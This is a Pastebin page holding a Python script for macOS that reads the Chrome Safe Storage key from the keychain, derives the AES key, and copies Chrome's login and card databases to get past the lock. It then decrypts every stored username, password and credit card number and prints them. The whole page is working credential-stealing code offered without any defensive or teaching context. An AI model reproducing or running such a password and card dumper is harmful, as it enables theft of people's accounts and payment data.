Guest User

chrome_passwords.py

a guest
Feb 12th, 2018
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.84 KB | None | 0 0
  1. import sqlite3
  2. import binascii
  3. import subprocess
  4. import base64
  5. import operator
  6. import tempfile
  7. import shutil
  8. import glob
  9. import hmac
  10. import struct
  11. import itertools
  12.  
  13.  
  14. def pbkdf2_bin(hash_fxn, password, salt, iterations, keylen=16):
  15.     # https://github.com/mitsuhiko/python-pbkdf2
  16.     _pack_int = struct.Struct('>I').pack
  17.     hashfunc = sha1
  18.     mac = hmac.new(password, None, hashfunc)
  19.  
  20.     def _pseudorandom(x, mac=mac):
  21.         h = mac.copy()
  22.         h.update(x)
  23.         return map(ord, h.digest())
  24.     buf = []
  25.     for block in xrange(1, -(-keylen // mac.digest_size) + 1):
  26.         rv = u = _pseudorandom(salt + _pack_int(block))
  27.         for i in xrange(iterations - 1):
  28.             u = _pseudorandom("".join(map(chr, u)))
  29.             rv = itertools.starmap(operator.xor, itertools.izip(rv, u))
  30.         buf.extend(rv)
  31.     return "".join(map(chr, buf))[:keylen]
  32.  
  33. try:
  34.     from hashlib import pbkdf2_hmac
  35. except ImportError:
  36.     pbkdf2_hmac = pbkdf2_bin
  37.     from hashlib import sha1
  38.  
  39. login_data_path = '/Users/*/Library/Application Support/Google/Chrome/*/Login Data'
  40. cc_data_path = '/Users/*/Library/Application Support/Google/Chrome/*/Web Data'
  41. chrome_data = glob.glob(login_data_path) + glob.glob(cc_data_path)
  42. safe_storage_key = subprocess.Popen("security find-generic-password -wa 'Chrome'", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
  43.  
  44. if safe_storage_key.wait() != 0:
  45.     print "Error getting Chrome safe storage key."
  46.  
  47.     if safe_storage_key.wait() == 51:
  48.         print "Error: user clicked deny"
  49.     elif safe_storage_key.wait() == 44:
  50.         print "Error: Chrome entry not found in keychain."
  51.     else:
  52.         print safe_storage_key.stderr.read()
  53.     exit()
  54. else:
  55.     safe_storage_key = safe_storage_key.stdout.read().replace('\n', '')
  56.  
  57.  
  58. def get_cc_issuer(cc_num):
  59.     cc_dict = {3: "AMEX", 4: "Visa", 5: "Mastercard", 6: "Discover"}
  60.     try:
  61.         return cc_dict[cc_num[0]]
  62.     except KeyError:
  63.         return "Error: unknown card issuer."
  64.  
  65.  
  66. def chrome_decrypt(encrypted, iv, key):
  67.     # AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively)
  68.     hex_key = binascii.hexlify(key)
  69.     hex_enc_password = base64.b64encode(encrypted[3:])
  70.     try:
  71.         decrypted = subprocess.check_output("openssl enc -base64 -d -aes-128-cbc -iv '%s' -K %s <<< %s 2>/dev/null" % (iv, hex_key, hex_enc_password), shell=True)
  72.     except Exception:
  73.         decrypted = "Error retrieving password."
  74.     return decrypted
  75.  
  76.  
  77. def chrome_process(safe_storage_key, chrome_data):
  78.     # Salt, iterations, iv, size -> https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm
  79.     iv = "".join(("20",) * 16)
  80.     key = pbkdf2_hmac("sha1", safe_storage_key, b"saltysalt", 1003)[:16]
  81.     copy_path = tempfile.mkdtemp()  # Work around for locking DB
  82.  
  83.     with open(chrome_data, "r") as content:
  84.         dbcopy = content.read()
  85.     with open("{0}/chrome".format(copy_path), "w") as content:
  86.         # If Chrome is open the DB will be locked, get around this by making a temp copy.
  87.         content.write(dbcopy)
  88.  
  89.     database = sqlite3.connect("{0}/chrome".format(copy_path))
  90.  
  91.     if "Web Data" in chrome_data:
  92.         sql_query = "select name_on_card, card_number_encrypted, expiration_month, expiration_year from credit_cards"
  93.     else:
  94.         sql_query = "select username_value, password_value, origin_url, submit_element from logins"
  95.  
  96.     decrypted_list = []
  97.     with database:
  98.         for values in database.execute(sql_query):
  99.             if values[0] == '' or (values[1][:3] != b"v10"):
  100.                 # User will be empty if they have selected "never" store password.
  101.                 continue
  102.             else:
  103.                 decrypted_list.append((str(values[2]).encode("ascii", "ignore"), values[0].encode("ascii", "ignore"), str(chrome_decrypt(values[1], iv, key)).encode("ascii", "ignore"), values[3]))
  104.     shutil.rmtree(copy_path)
  105.     return decrypted_list
  106.  
  107.  
  108. def print_passwords():
  109.     for profile in chrome_data:
  110.         for i, x in enumerate(chrome_process(safe_storage_key, str(profile))):
  111.             if "Web Data" in profile:
  112.                 if i == 0:
  113.                     print "Credit Cards for Chrome Profile -> [{0}]".format(profile.split('/')[-2])
  114.                 print "   [{0}] {1}".format((i + 1), get_cc_issuer(x[2]))
  115.                 print "\tCard Name: {0}".format(x[1])
  116.                 print "\tCard Number: {0}".format(x[2])
  117.                 print "\tExpiration Date: {0}/{1}".format(x[0], x[3])
  118.             else:
  119.                 if i == 0:
  120.                     print "Passwords for Chrome Profile -> [{0}]".format(profile.split('/')[-2])
  121.                 print "   [{0}] {1}".format((i + 1), x[0])
  122.                 print "\tUsername: {0}".format(x[1])
  123.                 print "\tPassword: {0}".format(x[2])
  124.  
  125.  
  126. if __name__ == '__main__':
  127.     print_passwords()
Add Comment
Please, Sign In to add comment